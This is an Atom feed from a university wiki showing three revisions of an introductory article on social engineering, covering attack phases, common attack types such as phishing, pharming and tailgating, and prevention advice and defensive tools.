https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&feedformat=atom&user=PKraubnerElvis Wiki - User contributions [en]2026-09-10T18:25:05ZUser contributionsMediaWiki 1.41.5https://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14550Social Engineering2024-03-04T18:45:16Z<p>PKraubner: /* Pharming */</p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing: These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Phishing but is done quite differently. The task is to lure the victim on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. The domain of the website is completely legit. If the website is done very well your data is being saved and afterwards you are getting redirect onto your real bank account on the real website without you ever knowing.<br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being captured before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14549Social Engineering2024-03-04T18:44:13Z<p>PKraubner: /* Pharming */</p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing: These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Phishing but is done quite differently. The task is to lure the vicitm on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. The domain of the website is completely legit. If the website is done very well your data is being saved and afterwards you are getting redirect onto your real bank account on the real website without you ever knowing.<br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being captured before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=Social_Engineering&diff=14548Social Engineering2024-03-04T18:43:53Z<p>PKraubner: rearranged Pharming after Phishing, typo fix</p>
<hr />
<div>== Summary == <br />
This documentation contains information of what Social Engineering is, how it is getting used and how to prevent or mitigate some of those attacks. <br />
<br />
== Requirements ==<br />
In order to execute a social engineering attack you need to understand the basis of social engineering described below. There are also tools to understand and execute these attacks on a practical level. There are many pre-defined attacks which show how easy it is to perform such attacks. You can read more about that in [[Social Engineering Toolkit]]<br />
<br />
== Description ==<br />
Social engineering is a technique that involves using human interaction to gather information or influence a person to act in a certain way. It can involve spying on someone's personal life in order to achieve a specific goal, such as manipulating elections, obtaining information, or stealing money. The goal of social engineering is to guide a person towards a particular outcome, often by manipulating their thoughts or actions.<br />
<br />
=== Phases ===<br />
In Social Engineering there are a few necessary steps to complete an attack and gain the information you are after. Kevin Mitnick has divided the process into 4 steps with are mainly: '''Information Gathering''', '''Hook Relationship''', '''Exploitation and Execution''' and '''End without leaving a trace'''. <br />
<br />
<br />
[[File:01_mitnicks_attack_circle.png|thumb|none|300px|Source: Mouton, Social<br />
engineering attack framework]]<br />
<br />
==== Information Gathering ====<br />
Information gathering involves collecting as much information as possible about a potential victim in order to identify possible attack vectors. This may include identifying personal details, interests, or vulnerabilities that can be exploited. This information can be gathered through various means, such as social media, public records, or by directly interacting with the victim.<br />
<br />
==== Hook Relationship ====<br />
In order to build a "hook relationship" with the victim, the attacker will often try to present themselves as trustworthy in order to gain the victim's confidence and cooperation. This may involve pretending to be someone the victim knows, such as a colleague or friend, or posing as an authority figure in order to gain the victim's trust.<br />
<br />
==== Exploitation and Execution ====<br />
The exploitation and execution phase involves manipulating the victim in order to persuade them to take certain actions or disclose information that the attacker is seeking. This may involve using psychological manipulation or other tactics to influence the victim's behavior. The attacker may use a variety of tactics, such as flattery, fear, or pressure, in order to persuade the victim to comply with their requests.<br />
<br />
==== End without leaving a trace ====<br />
Once the attacker has achieved their goal, they will often try to cover their tracks and end the attack without leaving any evidence behind. This may involve deleting any records of the attack or disguising their involvement in order to avoid detection. In order to avoid being caught, the attacker may also take steps to destroy any evidence of the attack, such as wiping clean any devices or servers that were used in the attack.<br />
<br />
== Attacks ==<br />
This part contains the most common and basic attacks used today. Nearly everyone should have seen such an attack in practice, either by e.g. receiving a pishing email or getting a warning that pishing emails are circulating with an example. If you have not, just check you Spam or Junk folder in you mailbox you will probably find one in there. <br />
<br />
=== Phishing ===<br />
Phishing Attacks are one of the most common attacks. They are pretty simple and based on for example a real E-Mail that is being copied and used to get user data with links redirecting to a wrong website. This website looks than pretty similar to the original and if you do not look close enough you sometimes do not even realize that it is fake. The goal of this attack is in general to steal password from accounts and then try to steal money in any way possible. There are different types of phishing:<br />
* Spear phishing: Are attacks on specific people or groups, for this you need to know about the person/company beforehand. Since it is very personal, it is also often very successful in contrast to other Social Engineering approaches. <br />
* Whaling: Similar to spear-phishing, except that high-profile individuals are targeted.<br />
* Vishing: These phishing attacks are carried out over the phone.<br />
* Smishing: The attacks are carried out over text messages.<br />
* Interactive voice-response phishing: Interactive voice response system is used. <br />
* Business email compromise phishing: : It is similar to whaling, the attacker wants access to business mails and then sends legitimate looking business mails to get ”normal” employees to click some link or something.<br />
<br />
=== Pharming ===<br />
This approach is similar to the goal of Pishing but is done quite differently. The task is to lure the vicitm on to a similar looking website e.g. bank, insurance, ... but it is not done with sending you fake links but rather hacking the DNS Server and redirecting you instantly without you even knowing. The domain of the website is completely legit. If the website is done very well your data is being saved and afterwards you are getting redirect onto your real bank account on the real website without you ever knowing. <br />
<br />
=== Pretexting ===<br />
This attack is similar to Phishing but the goal of this attack is to make you believe that you are being contacted by someone close or authoritative. These messages could lead you to send personal information to the attacker. If done right and other conversation were being captured before and the phone number or E-Mail got spoofed you sometimes would not even realize that it is a fake. <br />
<br />
=== Tailgaiting ===<br />
Tailgaiting is an attack that requires physical access to a secure building. This is achieved by following people through doors or opening you the door by thinking you lost your access card. When done right you get access to a certain level where you could install malware on others PCs. Another ways would be to ask someone for their phone to make a call and then install malware when they are not watching. <br />
<br />
=== Ransomware ===<br />
[[Ransomware]] is a type of malicious software that encrypts a victim's personal data and demands a ransom from the victim to restore access to the data. These attacks have been increasing in popularity and are becoming more and more difficult to stop. Some well-known examples of [[Ransomware]] include WannaCry (2017) and Locky (2016). One of the dangers of ransomware is that even if the victim pays the ransom, there is no guarantee that they will actually get their data back.<br />
<br />
=== Dumpster Diving ===<br />
This technique is as the name already tells used to get information out of the trash of others. A letter with sensitive infomation e.g. bank, creditcard or hard drives can contain a lot of data that can be used against you if not disposed properly. A good tip would be throw away pieces of information in different trash cans for example when on the way to work. <br />
<br />
=== Pop-Up Window ===<br />
Pop-Up Windows are often used to scare non enlightened people to get tricked by a simple window mostly in a browser. This scam either wants you to redeem the jackpot you just won or tell you that you computer is infected and you should call the attacker to infect you with malware. Most of the times these windows are hard to close and are pretty loud to intimiated the victim. <br />
<br />
=== Baiting/USB Drop ===<br />
Another bait attack involves the use of dropped USB drives. The attacker will leave a USB drive in a public place, such as a parking lot or lobby, with a label or message that suggests it contains something interesting or valuable. When someone picks up the drive and plugs it into their computer, they may be exposing their system to malware or ransomware.<br />
<br />
=== Eavesdropping ===<br />
Eavesdropping is the act of secretly listening to the private conversations of others without their knowledge. It can be done in a variety of ways, such as through the use of hidden microphones, wiretapping, or simply by listening in on a conversation that is happening nearby. Eavesdropping can be a serious invasion of privacy and is often illegal, particularly if it is done for malicious purposes such as to gather personal or sensitive information. In the digital age, eavesdropping can also be done remotely through the use of malware or other cyber threats that allow an attacker to access and monitor the conversations of their victims.<br />
<br />
=== Reverse Social Engineering ===<br />
One common technique used in reverse social engineering attacks is for the attacker to pretend to be a good guy or authority figure in order to gain the victim's trust. For example, the attacker might pretend to be a technical support representative and ask the victim for their login credentials in order to "fix" a problem with their computer. Or, the attacker might pose as a law enforcement officer and request that the victim provide sensitive information in order to "assist with an investigation." In these cases, the victim may feel pressure to comply with the request, believing that they are helping to solve a problem or protect against a threat.<br />
<br />
=== Impersonating ===<br />
Impersonating is the act of pretending to be someone else, either in person or online, in order to deceive others. This can be done for a variety of reasons, such as to gain access to sensitive information or resources, to evade detection or consequences, or to commit a crime. In the digital world, impersonation is often done through the use of fake profiles or websites that mimic legitimate ones in order to trick people into divulging personal information or money. In person, impersonation can be more complex and may involve the use of props, costumes, and other means of disguising one's true identity.<br />
<br />
== Prevention ==<br />
As attacks increase and improve it is very hard to defend against those if you do not know how they work and what they do. To prevent or mitigate such attacks you need 3 important informations.<br />
<br />
=== Clarify Attacks ===<br />
The first part help you to understand how and what these attacks are trying to do. If you know what a Pop-Up Window is and you now know that these messages are spam and trying to lure you into a trap you will not fall for it anymore. The best way is know examples of the most common attacks to obtainer awareness againts those social engineering attacks. Since these attacks improve over time you should be up-to-date and you should ask people you trust for help if you do not know how to proceed. <br />
<br />
=== Education and Training ===<br />
To ensure the safety and security of your employees, it is important to provide regular training sessions to keep them informed on best practices and current threats. They should be cautious when receiving phone calls or emails from unknown sources, and verify the identity of the sender before disclosing any confidential information. They should also be wary of suspicious links or attachments, and avoid downloading unknown files. To further protect against potential threats, it is advisable to implement multifactor authentication and regularly update antivirus and antimalware programs. Additionally, it is important to carefully examine the references of any offers or requests for sensitive data.<br />
<br />
=== Set Security Standards ===<br />
You should start setting yourself a certain security standard. This goes from checking certain programs or files you do not know to check links before you click them. If you have a new contact in your mailbox you should double check the sender to know for you sure you are not dealing with a scam artist. You should also never share you PC with other or plug-in strange devices you do not know. An increased awareness about pishing emails from providers would be appreciative to check bills if they are not infected with malware. <br />
<br />
=== Implement Security Tools ===<br />
Since detecting malware is getting more difficult everytime you should start using certain tools to help you secure you environment. To protect against more advanced attacks, it is recommended that companies use Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS), which can detect and respond to attacks in real-time. In addition to a firewall, companies can also use Virtual Private Networks (VPNs) to secure their internet connection. Anti-phishing tools can help to block and blacklist phishing websites, and companies can also consider using honeypot emails as a way to lure and track attackers. It is also important to implement physical security measures, such as properly securing hardware and following guidelines for physical access to facilities. These tools will help you to detect unwanted programs and helps you safeing your data externally. <br />
<br />
* Anti Virus Software: [https://www.malwarebytes.com/ Malwarebytes]<br />
* Browser Anti-Ad/Spam Plugin: [https://ublockorigin.com/ uBlock Origin]<br />
* Check E-Mail periodically: [https://haveibeenpwned.com/ HaveIBeenPwned]<br />
* Safe File externally: [https://nextcloud.com/ Nextcloud]<br />
* Check Programs: [https://www.virustotal.com/ Virustotal]<br />
* Password Manager: [https://keepassxc.org/ KeepassXC]<br />
<br />
== Social Media Intelligence ==<br />
<br />
Social media intelligence (SOCMINT) is a process that involves gathering and analyzing data from social media platforms in order to inform business decisions. This type of intelligence can be used to track brand mentions and sentiment, monitor competitors, and identify emerging trends or opportunities for engagement.<br />
<br />
By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
